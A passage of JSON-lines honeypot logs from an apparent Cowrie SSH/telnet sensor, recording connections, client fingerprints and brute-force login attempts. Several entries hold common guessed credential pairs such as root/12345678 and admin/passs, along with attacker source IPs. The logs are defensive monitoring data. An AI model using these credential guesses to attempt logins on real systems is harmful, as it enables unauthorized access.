mac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:45.132896Z","src_ip":"202.4.106.201","session":"65f8b0180ba3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passs","message":"login attempt [admin/passs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:46.198555Z","src_ip":"202.4.106.201","session":"65f8b0180ba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:47.462518Z","src_ip":"202.4.106.201","session":"65f8b0180ba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":55138,"dst_ip":"159.203.135.109","dst_port":22,"session":"d66d80878e26","protocol":"ssh","message":"New connection: 103.182.132.154:55138 (159.203.135.109:22) [session: d66d80878e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:50.798434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:50.805840Z","src_ip":"103.182.132.154","session":"d66d80878e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:51.018593Z","src_ip":"103.182.132.154","session":"d66d80878e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password","message":"login attempt [ubuntu/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:51.893331Z","src_ip":"103.182.132.154","session":"d66d80878e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:53.106722Z","src_ip":"103.182.132.154","session":"d66d80878e26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":52514,"dst_ip":"159.203.135.109","dst_port":22,"session":"0620673bbdb1","protocol":"ssh","message":"New connection: 122.168.114.167:52514 (159.203.135.109:22) [session: 0620673bbdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:55.019718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:56.720103Z","src_ip":"122.168.114.167","session":"0620673bbdb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:56.727780Z","src_ip":"122.168.114.167","session":"0620673bbdb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:20:59.625365Z","src_ip":"159.223.45.177","session":"9a758bda9cf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:04.067390Z","src_ip":"122.168.114.167","session":"0620673bbdb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.6","message":"Connection lost after 24.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:06.196308Z","src_ip":"159.223.45.177","session":"9a758bda9cf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:07.351509Z","src_ip":"122.168.114.167","session":"0620673bbdb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37112,"dst_ip":"159.203.135.109","dst_port":22,"session":"265775c5e446","protocol":"ssh","message":"New connection: 159.203.92.129:37112 (159.203.135.109:22) [session: 265775c5e446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:22.045954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:22.050751Z","src_ip":"159.203.92.129","session":"265775c5e446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:22.055377Z","src_ip":"159.203.92.129","session":"265775c5e446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asdf1","password":"asdf1","message":"login attempt [asdf1/asdf1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:22.065704Z","src_ip":"159.203.92.129","session":"265775c5e446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:23.071639Z","src_ip":"159.203.92.129","session":"265775c5e446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":54922,"dst_ip":"159.203.135.109","dst_port":22,"session":"23894e50ef44","protocol":"ssh","message":"New connection: 122.168.114.167:54922 (159.203.135.109:22) [session: 23894e50ef44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:32.858257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:34.452955Z","src_ip":"122.168.114.167","session":"23894e50ef44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:34.497020Z","src_ip":"122.168.114.167","session":"23894e50ef44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:43.105906Z","src_ip":"122.168.114.167","session":"23894e50ef44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.5","message":"Connection lost after 13.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:46.334340Z","src_ip":"122.168.114.167","session":"23894e50ef44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00118374824524,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:47.171734Z","src_ip":"196.41.210.156","session":"92af03eb4dea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":59038,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa700fe2560f","protocol":"ssh","message":"New connection: 202.4.106.201:59038 (159.203.135.109:22) [session: fa700fe2560f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:49.521757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:49.526232Z","src_ip":"202.4.106.201","session":"fa700fe2560f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:49.797407Z","src_ip":"202.4.106.201","session":"fa700fe2560f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sebastien","password":"test","message":"login attempt [sebastien/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:50.914985Z","src_ip":"202.4.106.201","session":"fa700fe2560f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:52.188406Z","src_ip":"202.4.106.201","session":"fa700fe2560f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":41768,"dst_ip":"159.203.135.109","dst_port":22,"session":"0de93a62d28d","protocol":"ssh","message":"New connection: 103.182.132.154:41768 (159.203.135.109:22) [session: 0de93a62d28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:57.356746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:57.360964Z","src_ip":"103.182.132.154","session":"0de93a62d28d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:57.574023Z","src_ip":"103.182.132.154","session":"0de93a62d28d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":34188,"dst_ip":"159.203.135.109","dst_port":22,"session":"95e40f781ad9","protocol":"ssh","message":"New connection: 159.223.45.177:34188 (159.203.135.109:22) [session: 95e40f781ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:57.784495Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@admin","message":"login attempt [root/admin@admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:58.457752Z","src_ip":"103.182.132.154","session":"0de93a62d28d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:21:59.674874Z","src_ip":"103.182.132.154","session":"0de93a62d28d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45390,"dst_ip":"159.203.135.109","dst_port":22,"session":"459e1a076cbf","protocol":"ssh","message":"New connection: 159.203.92.129:45390 (159.203.135.109:22) [session: 459e1a076cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:05.536786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:05.541318Z","src_ip":"159.203.92.129","session":"459e1a076cbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:05.547591Z","src_ip":"159.203.92.129","session":"459e1a076cbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asem00","password":"123456","message":"login attempt [asem00/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:05.559464Z","src_ip":"159.203.92.129","session":"459e1a076cbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:06.572513Z","src_ip":"159.203.92.129","session":"459e1a076cbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":57324,"dst_ip":"159.203.135.109","dst_port":22,"session":"2350ac8e8d52","protocol":"ssh","message":"New connection: 122.168.114.167:57324 (159.203.135.109:22) [session: 2350ac8e8d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:12.193818Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":35086,"dst_ip":"159.203.135.109","dst_port":22,"session":"7970f1974c74","protocol":"ssh","message":"New connection: 194.59.206.2:35086 (159.203.135.109:22) [session: 7970f1974c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:12.372604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:22:12.378451Z","src_ip":"194.59.206.2","session":"7970f1974c74","protocol":"ssh"}
